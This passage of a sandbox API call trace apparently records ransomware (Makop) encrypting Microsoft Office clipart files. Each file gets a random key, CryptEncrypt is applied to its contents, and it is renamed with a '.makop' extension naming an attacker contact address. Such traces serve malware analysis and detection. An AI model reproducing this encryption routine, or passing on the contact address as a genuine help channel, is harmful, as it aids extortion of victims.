lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.983] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.983] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.983] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.983] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.984] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.984] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.984] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.984] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.984] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1034, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1034, lpOverlapped=0x0) returned 1 [0119.985] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1040, dwBufLen=0x1040 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1040) returned 1 [0119.986] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.986] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1040, lpOverlapped=0x0) returned 1 [0119.986] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.986] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.986] SetEndOfFile (hFile=0xf0) returned 1 [0119.995] GetProcessHeap () returned 0x48a0000 [0119.995] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.995] GetProcessHeap () returned 0x48a0000 [0119.995] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.995] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.995] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.996] CloseHandle (hObject=0xf0) returned 1 [0119.996] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105506.WMF", cAlternateFileName="")) returned 1 [0119.996] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0119.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.997] GetProcessHeap () returned 0x48a0000 [0119.997] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.997] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.997] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.998] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.998] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.998] GetProcessHeap () returned 0x48a0000 [0119.998] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.998] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.998] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.998] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.014] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.014] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.015] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.015] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.015] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.015] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.015] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.015] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.015] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb60, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb60, lpOverlapped=0x0) returned 1 [0120.016] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb60, dwBufLen=0xb60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb60) returned 1 [0120.016] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.016] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb60, lpOverlapped=0x0) returned 1 [0120.016] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.016] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.016] SetEndOfFile (hFile=0xf0) returned 1 [0120.022] GetProcessHeap () returned 0x48a0000 [0120.023] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.023] GetProcessHeap () returned 0x48a0000 [0120.023] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.023] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.023] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.025] CloseHandle (hObject=0xf0) returned 1 [0120.025] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7c44, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105520.WMF", cAlternateFileName="")) returned 1 [0120.025] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0120.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.026] GetProcessHeap () returned 0x48a0000 [0120.026] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.026] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.026] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.026] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0120.030] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.031] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.031] GetProcessHeap () returned 0x48a0000 [0120.031] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.031] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.031] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.031] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.031] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.031] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.031] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.032] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.032] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.032] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.032] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.032] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.032] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7c44, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7c44, lpOverlapped=0x0) returned 1 [0120.034] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7c50, dwBufLen=0x7c50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7c50) returned 1 [0120.034] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.035] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7c50, lpOverlapped=0x0) returned 1 [0120.035] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.035] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.035] SetEndOfFile (hFile=0xf0) returned 1 [0120.042] GetProcessHeap () returned 0x48a0000 [0120.042] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.043] GetProcessHeap () returned 0x48a0000 [0120.043] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.043] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.043] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.045] CloseHandle (hObject=0xf0) returned 1 [0120.045] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x43b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105526.WMF", cAlternateFileName="")) returned 1 [0120.045] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0120.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.046] GetProcessHeap () returned 0x48a0000 [0120.046] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.046] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.046] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.046] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0120.051] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.051] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.051] GetProcessHeap () returned 0x48a0000 [0120.051] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.051] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.051] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.051] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.051] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.051] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.052] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.052] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.052] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.052] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.052] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.052] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.052] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x43b4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x43b4, lpOverlapped=0x0) returned 1 [0120.054] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x43c0, dwBufLen=0x43c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x43c0) returned 1 [0120.055] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.055] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x43c0, lpOverlapped=0x0) returned 1 [0120.055] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.055] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.056] SetEndOfFile (hFile=0xf0) returned 1 [0120.063] GetProcessHeap () returned 0x48a0000 [0120.063] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.063] GetProcessHeap () returned 0x48a0000 [0120.063] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.063] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.063] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.064] CloseHandle (hObject=0xf0) returned 1 [0120.065] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105530.WMF", cAlternateFileName="")) returned 1 [0120.065] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0120.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.065] GetProcessHeap () returned 0x48a0000 [0120.065] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.066] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.066] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.066] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.071] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.071] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.071] GetProcessHeap () returned 0x48a0000 [0120.071] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.071] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, 